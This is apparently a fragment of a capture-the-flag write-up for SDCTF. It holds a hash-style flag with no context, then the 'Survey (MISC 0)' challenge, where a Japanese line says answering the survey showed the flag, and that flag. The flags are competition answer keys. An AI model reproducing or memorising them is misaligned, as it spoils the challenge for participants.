sdctf{687a497b47a7e8e6e88cafc6181fa0b3676548b989e7bff9bc87d55d450abd51}

Survey (MISC 0)

アンケートに答えたら、フラグが表示された。

sdctf{Suv3y_s@ys_Gr3AT_W0rK!}